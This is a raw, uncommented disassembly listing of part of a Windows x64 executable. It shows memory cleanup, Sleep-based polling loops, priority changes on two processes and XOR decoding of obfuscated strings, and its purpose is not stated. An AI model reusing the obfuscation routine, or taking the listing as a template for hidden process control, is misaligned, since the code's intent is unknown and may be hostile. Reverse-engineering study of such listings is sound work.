mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x598], 0
mov r12, qword [rsp + 0x590]
mov rbx, qword [rsp + 0x588]
mov rsi, qword [rsp + 0x5a0]
je 0x1400038bb
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x5a8], 0
je 0x1400038dc
test r14, r14
je 0x1400038dc
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x5b0], 0
mov r8, qword [rsp + 0x5b8]
je 0x140003902
test r8, r8
je 0x140003902
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x5c0], 0
mov r14, qword [rsp + 0x60]
mov r8, qword [rsp + 0x5c8]
je 0x14000392d
test r8, r8
je 0x14000392d
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x5d0], 0
mov r8, qword [rsp + 0x5d8]
je 0x140003953
test r8, r8
je 0x140003953
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x5e0], 0
je 0x140003974
test rbx, rbx
je 0x140003974
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
test rsi, rsi
je 0x140003ab3
test r12, r12
je 0x140003ab3
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
test rbp, rbp
jne 0x140003ab8
jmp 0x140003ac9
mov ecx, eax
call fcn.140090bf7
mov rbp, rax
mov bl, 1
test rsi, rsi
je 0x1400039bf
mov rcx, rsi
call qword [sym.imp.oleaut32.dll_SysFreeString]
test bl, bl
je 0x140003b68
lea rbx, [rsp + 0x70]
mov rcx, qword [rsp + 0x3f0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x3f8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x400]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x408]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x410]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x418]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x420]
test rcx, rcx
je 0x140003a33
mov rax, qword [rcx]
call qword [rax + 0x10]
test rbp, rbp
je 0x140003a42
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
mov qword [rsp + 0x70], r15
mov rax, qword [0x1404431e0]
cmp rax, 3
jne 0x140003e28
mov rsi, qword [rsp + 0x70]
add rsi, 0x18
lea rax, [0x1404430f0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x140443100]
cmp rax, 3
mov rbp, qword [rsp + 0x50]
jne 0x140003e5a
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
mov r9, qword [rax + 8]
lea rcx, [rsp + 0x1b0]
mov rdx, rsi
call fcn.140008600
cmp qword [rsp + 0x1b0], 1
mov rdi, qword [rsp + 0x48]
je 0x1400040ef
test rbp, rbp
je 0x140003ac9
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, r13
call sub.kernel32.dll_HeapFree
test rdi, rdi
je 0x140003adf
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x1a8]
cmp rdi, rsi
jne 0x140003b49
mov rax, qword [rsp + 0x198]
test rax, rax
je 0x140003b24
shl rax, 3
lea rax, [rax + rax*2]
test rax, rax
je 0x140003b24
mov r8, qword [rsp + 0x190]
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
nop
add rsp, 0x788
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add rsi, 0x18
cmp rsi, rdi
je 0x140003af4
cmp qword [rsi + 8], 0
je 0x140003b40
mov r8, qword [rsi]
test r8, r8
je 0x140003b40
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x140003b40
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x3f0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x3f8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x400]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x408]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x410]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x418]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x420]
test rcx, rcx
je 0x140003bd9
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
test rbp, rbp
jne 0x140003ab8
jmp 0x140003ac9
lea rax, [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1b0], rax
lea rcx, [0x1404431e0]
lea r9, [0x1403ead88]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x1400025cb
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0x1b0], r15
lea rcx, [0x1404431a8]
lea r9, [0x1403eae78]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140002c13
mov qword [rsp + 0x3f0], r12
mov qword [rsp + 0x1b0], r15
lea rcx, [0x1404431e0]
lea r9, [0x1403ead88]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140002d10
mov qword [rsp + 0x3f0], r12
mov qword [rsp + 0x1b0], r15
lea rcx, [0x140443100]
lea r9, [0x1403ead38]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140002d3b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1b0], rax
lea rcx, [0x140443330]
lea r9, [0x1403eaec8]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x14000318b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1b0], rax
lea rcx, [0x1404431e0]
lea r9, [0x1403ead88]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x14000325b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1b0], rax
lea rcx, [0x140443100]
lea r9, [0x1403ead38]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140003281
lea rax, [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1b0], rax
lea rcx, [0x140443368]
lea r9, [0x1403eabf8]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x1400032c9
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0x1b0], r15
lea rcx, [0x1404431e0]
lea r9, [0x1403ead88]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140003552
lea rcx, [rsp + 0x1b0]
xor edx, edx
call fcn.1400949ca
mov rax, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1c0]
lea rcx, [rax + r12]
mov r8, rbp
sub r8, r15
jne 0x140002f06
jmp 0x1400037ee
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0x1b0], r12
lea rcx, [0x1404431e0]
lea r9, [0x1403ead88]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140003a58
mov qword [rsp + 0x3f0], rbx
mov qword [rsp + 0x1b0], r12
lea rcx, [0x140443100]
lea r9, [0x1403ead38]
lea r8, [rsp + 0x1b0]
xor edx, edx
call fcn.140096ca7
jmp 0x140003a83
mov rcx, r13
mov rdx, rsi
call fcn.140085378
test rax, rax
je 0x1400040ef
mov rbp, rax
mov rdi, rdx
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
call fcn.140088879
lea rcx, [rsp + 0x3f0]
mov rdx, rsi
call fcn.14000b0e0
mov r8, qword [rsp + 0x400]
test r8, r8
je 0x1400040ef
mov rdx, qword [rsp + 0x3f0]
add rdx, 0x18
add r8, 0xffffffffffffffff
lea rcx, [rsp + 0x70]
call fcn.14000aa40
lea rcx, [rsp + 0x3f0]
call fcn.140001f90
mov r13, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x80]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x3f0]
mov rdx, rbp
mov r8, rdi
mov r9, r13
call fcn.1400431c0
cmp byte [rsp + 0x3f0], 0
jne 0x140003f3e
cmp byte [rsp + 0x3f1], 0
jne 0x1400040d8
mov qword [rsp + 0x20], rsi
mov byte [rsp + 0x28], 0
lea rcx, [rsp + 0x1b0]
mov rdx, rbp
mov r8, rdi
mov r9, r13
call fcn.140042c00
cmp byte [rsp + 0x1b0], 1
je 0x1400040ef
lea rcx, [rsp + 0x3f0]
call fcn.1400020c0
mov ecx, 1
call fcn.14008fe7d
ud2
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.14002de70
call fcn.140045460
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.14000b040
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
call fcn.1400453a0
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.14000b040
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
call fcn.140045a40
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.14000b040
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
call fcn.140045760
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.14000b040
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
call fcn.140045760
lea rcx, [rax + 0x18]
call fcn.14000a930
mov rcx, rax
call fcn.14000b550
call fcn.140045460
lea rcx, [rax + 0x18]
call fcn.14000a930
mov rcx, rax
call fcn.14000b550
call fcn.140045a40
lea rcx, [rax + 0x18]
call fcn.14000a930
mov rcx, rax
call fcn.14000b550
mov cl, 1
call fcn.14003d000
lea rax, [0x14008ffc4]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
movabs rcx, 0x20243ed715c1ec16
xor rcx, qword [rax + 0x8e45]
movzx eax, word [rax + 0x8e4d]
xor eax, 0x2828
mov qword [rsp + 0x1b0], rcx
mov word [rsp + 0x1b8], ax
call fcn.140045400
lea rcx, [rax + 0x18]
call fcn.14000b030
mov r8, rdx
lea rcx, [rsp + 0x1b0]
mov rdx, rax
call fcn.14002d570
xor ecx, ecx
call fcn.14008fe7d
ud2
lea rcx, [rsp + 0x1b0]
call fcn.140085164
cmp dword [rsp + 0x1b0], 1
jne 0x1400040f3
ud2
mov rdx, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x1c8]
mov rbx, qword [rsp + 0x1c0]
lea r15, [rsp + 0x1b0]
mov rcx, r15
mov qword [rsp + 0x50], rdx
call fcn.1400853fe
mov rcx, r15
call fcn.14000b4f0
mov r15d, eax
test rbx, rbx
je 0x140004143
mov rcx, qword [0x140443578]
xor edx, edx
mov r8, qword [rsp + 0x50]
call sub.kernel32.dll_HeapFree
test r15b, r15b
je 0x14000416e
mov rcx, r14
mov rdx, r12
call fcn.140042ad0
mov ecx, 1
call fcn.14008fe7d
ud2
mov edx, 1
mov rcx, rsi
call fcn.1400949bf
ud2
mov qword [rsp + 0x20], rsi
mov byte [rsp + 0x28], 1
jmp 0x140003f48
call fcn.14003e390
test al, al
jne 0x14000418d
xor ecx, ecx
call fcn.14003d000
cmp byte [rsp + 0x570], 0
je 0x1400042d2
mov rcx, rsi
call fcn.140092142
mov rax, qword [rsp + 0x1b0]
test rax, rax
cmove rsi, rax
mov qword [rsp + 0x120], rsi
lea rax, [rsp + 0x100]
mov qword [rsp + 0x3f0], rax
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
call fcn.14000b820
mov ebx, eax
mov r8, qword [rsp + 0x1b0]
test r8, r8
je 0x140004207
cmp qword [rsp + 0x1b8], 0
je 0x140004207
mov rcx, qword [0x140443578]
xor edx, edx
call sub.kernel32.dll_HeapFree
test bl, bl
je 0x1400042d2
lea rax, [0x140097c79]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
movabs rcx, 0x7093b1c9f46e71c2
xor rcx, qword [rax + 0x11d1]
mov qword [rsp + 0x1b0], rcx
movabs rcx, 0xb0bfbad1d3f8c11c
xor rcx, qword [rax + 0x11d9]
mov qword [rsp + 0x1b8], rcx
movabs rcx, 0xf7abaefebb529d43
xor rcx, qword [rax + 0x11e1]
mov qword [rsp + 0x1c0], rcx
movabs rcx, 0x353ca548ccf1d744
xor rcx, qword [rax + 0x11e9]
mov qword [rsp + 0x1c8], rcx
movzx eax, word [rax + 0x11f1]
xor eax, 0x45c2
mov word [rsp + 0x1d0], ax
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0x1b0]
call fcn.14000ac30
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x48], rax
xor r14d, r14d
jmp 0x140004307
mov rsi, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xe0]
mov rcx, rdi
xor edx, edx
call fcn.14000d520
mov qword [rsp + 0x58], rax
mov rcx, rax
mov rdx, rsi
mov qword [rsp + 0x48], rdi
mov r8, rdi
call fcn.1400931b0
mov r14b, 1
movzx eax, word [rsp + 0x118]
imul eax, eax, 0x3e8
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x68]
call fcn.140044480
mov r15d, eax
mov r12b, byte [rsp + 0x571]
mov dil, byte [rsp + 0x572]
mov ebx, r12d
or bl, dil
mov byte [rsp + 0x20], dil
lea rcx, [rsp + 0x6a8]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
mov r9d, r12d
call fcn.1400057e0
call fcn.1400453a0
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.140009970
movups xmm0, xmmword [rsp + 0x708]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x6f8]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x6e8]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0x6a8]
movups xmm1, xmmword [rsp + 0x6b8]
movups xmm2, xmmword [rsp + 0x6c8]
movups xmm3, xmmword [rsp + 0x6d8]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
lea rbp, [rsp + 0x3f0]
lea r8, [rsp + 0x1b0]
mov rcx, rbp
mov rdx, rsi
mov r9d, ebx
call fcn.140040ef0
mov rcx, rbp
call fcn.140041360
mov rsi, rax
mov qword [rsp + 0x1b8], rdx
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x1b0]
call fcn.140001eb0
cmp sil, 4
jne 0x14000456e
call fcn.140046504
mov rsi, rax
mov rcx, rax
call fcn.1400098d0
mov ebx, eax
mov rcx, rsi
call fcn.140001f20
mov r9b, byte [rsp + 0x11b]
mov al, byte [rsp + 0x11e]
mov cl, byte [rsp + 0x11f]
test r15b, 5
sete byte [rsp + 0x28]
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x38], ebx
mov byte [rsp + 0x30], al
mov byte [rsp + 0x20], cl
lea rcx, [rsp + 0x718]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
call fcn.140005220
call fcn.1400453a0
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rsi, [rsp + 0x618]
mov rcx, rsi
call fcn.140009970
movups xmm0, xmmword [rsp + 0x778]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x768]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0x758]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [rsp + 0x718]
movups xmm1, xmmword [rsp + 0x728]
movups xmm2, xmmword [rsp + 0x738]
movups xmm3, xmmword [rsp + 0x748]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov r9b, byte [rsp + 0x11e]
lea rbx, [rsp + 0x1b0]
lea r8, [rsp + 0x120]
mov rcx, rbx
mov rdx, rsi
call fcn.140040ef0
mov rcx, rbx
call fcn.140041360
cmp al, 4
jne 0x1400040ef
cmp byte [rsp + 0x11d], 0
jne 0x1400045a7
xor r12d, r12d
xor edi, edi
jmp 0x1400045eb
lea rsi, [rsp + 0x1b0]
lea rdx, [rsp + 0x3f0]
mov r8d, 0x168
mov rcx, rsi
call fcn.1400931b0
mov rcx, rsi
call fcn.14000a2f0
xor ecx, ecx
call fcn.14003d000
mov ecx, 1
call fcn.14008fe7d
ud2
test r12b, r12b
sete al
test dil, dil
sete cl
cmp byte [rsp + 0x578], 0
jne 0x1400045c1
or al, cl
jne 0x1400045eb
lea rcx, [rsp + 0x3f0]
call fcn.140041910
mov ecx, eax
and cl, 1
and dl, 1
cmp al, 2
movzx r12d, cl
mov eax, 1
cmove r12d, eax
movzx edi, dl
cmove edi, eax
mov byte [rsp + 0x28], dil
mov byte [rsp + 0x20], r12b
lea rcx, [rsp + 0x560]
xor edx, edx
mov r9d, r14d
call fcn.140045090
mov qword [rsp + 0x120], rax
test rax, rax
je 0x140004621
lea rcx, [rsp + 0x120]
call fcn.140002020
call fcn.14008fea3
mov qword [rsp + 0x5e8], rax
mov dword [rsp + 0x5f0], edx
call fcn.14008fea3
mov qword [rsp + 0x5f8], rax
mov dword [rsp + 0x600], edx
call fcn.14008fea3
mov qword [rsp + 0x608], rax
mov dword [rsp + 0x610], edx
cmp byte [rsp + 0x11b], 0
mov r14d, 0x3c
mov eax, 0x12
cmove rax, r14
mov qword [rsp + 0x50], rax
mov eax, 0x4e20
mov esi, 0x2710
cmove esi, eax
mov r12d, 1
jmp 0x140004696
mov ecx, esi
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rsp + 0x1b0]
call fcn.140041b60
mov r13d, eax
movzx ebx, byte [rsp + 0x310]
not bl
lea rcx, [rsp + 0x3f0]
call fcn.140041b60
mov r15d, eax
movzx ebp, byte [rsp + 0x550]
not bpl
lea rcx, [rsp + 0x5f8]
mov rdx, r14
call fcn.140044760
and bl, 1
movzx edi, bl
test r13b, r13b
cmovne edi, r12d
and bpl, 1
movzx ebx, bpl
test r15b, r15b
cmovne ebx, r12d
test al, al
je 0x140004975
test dil, dil
je 0x140004975
test bl, bl
je 0x140004975
lea rcx, [rsp + 0x68]
call fcn.140044480
cmp al, 3
je 0x140004854
movzx eax, al
cmp eax, 2
jne 0x140004975
movzx r9d, byte [rsp + 0x11b]
movzx eax, byte [rsp + 0x11e]
movzx ecx, byte [rsp + 0x11f]
mov edx, dword [rsp + 0x60]
mov dword [rsp + 0x38], edx
mov byte [rsp + 0x30], al
mov byte [rsp + 0x20], cl
mov byte [rsp + 0x28], 1
lea rcx, [rsp + 0x618]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
call fcn.140005220
movups xmm0, xmmword [rsp + 0x678]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x668]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0x658]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [rsp + 0x618]
movups xmm1, xmmword [rsp + 0x628]
movups xmm2, xmmword [rsp + 0x638]
movups xmm3, xmmword [rsp + 0x648]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x688]
lea rdx, [rsp + 0x1b0]
lea r8, [rsp + 0x120]
call fcn.140041c10
cmp qword [rsp + 0x688], 3
jne 0x1400040ef
cmp dword [rsp + 0x270], 2
je 0x14000482c
mov rcx, qword [rsp + 0x268]
mov edx, 0x8000
call qword [sym.imp.kernel32.dll_SetPriorityClass]
cmp dword [rsp + 0x4b0], 2
je 0x140004849
mov rcx, qword [rsp + 0x4a8]
mov edx, 0x8000
call qword [sym.imp.kernel32.dll_SetPriorityClass]
mov r14d, 0x14
jmp 0x140004975
movzx r9d, byte [rsp + 0x11b]
movzx eax, byte [rsp + 0x11e]
movzx ecx, byte [rsp + 0x11f]
mov edx, dword [rsp + 0x60]
mov dword [rsp + 0x38], edx
mov byte [rsp + 0x30], al
mov byte [rsp + 0x20], cl
mov byte [rsp + 0x28], 0
lea rcx, [rsp + 0x618]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
call fcn.140005220
movups xmm0, xmmword [rsp + 0x678]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x668]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0x658]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [rsp + 0x618]
movups xmm1, xmmword [rsp + 0x628]
movups xmm2, xmmword [rsp + 0x638]
movups xmm3, xmmword [rsp + 0x648]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x688]
lea rdx, [rsp + 0x1b0]
lea r8, [rsp + 0x120]
call fcn.140041c10
cmp qword [rsp + 0x688], 3
jne 0x1400040ef
cmp dword [rsp + 0x270], 2
je 0x140004952
mov rcx, qword [rsp + 0x268]
mov edx, 0x20
call qword [sym.imp.kernel32.dll_SetPriorityClass]
cmp dword [rsp + 0x4b0], 2
je 0x14000496f
mov rcx, qword [rsp + 0x4a8]
mov edx, 0x20
call qword [sym.imp.kernel32.dll_SetPriorityClass]
mov r14d, 0x3c
mov edx, 0x2c88
lea rcx, [rsp + 0x608]
call fcn.140044760
test al, al
jne 0x1400049e1
lea rcx, [rsp + 0x5e8]
mov rdx, qword [rsp + 0x50]
call fcn.140044760
test al, al
je 0x14000468e
test dil, dil
jne 0x1400049bf
lea rcx, [rsp + 0x1b0]
call fcn.140041360
cmp al, 4
jne 0x1400040ef
test bl, bl
jne 0x14000468e
lea rcx, [rsp + 0x3f0]
call fcn.140041360
cmp al, 4
je 0x14000468e
jmp 0x1400040ef
lea rcx, [rsp + 0x1b0]
call fcn.140041bc0
mov rsi, rax
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x120]
call fcn.140001eb0
cmp sil, 4
je 0x140004a37
call fcn.1400453a0
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.140085378
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
lea rcx, [rsp + 0x3f0]
call fcn.140041bc0
mov rsi, rax
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x120]
call fcn.140001eb0
cmp sil, 4
je 0x1400040cf
call fcn.1400453a0
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
call fcn.140085378
test rax, rax
je 0x1400040ef
mov rcx, rax
call fcn.140092390
xor ecx, ecx
call fcn.14008fe7d
ud2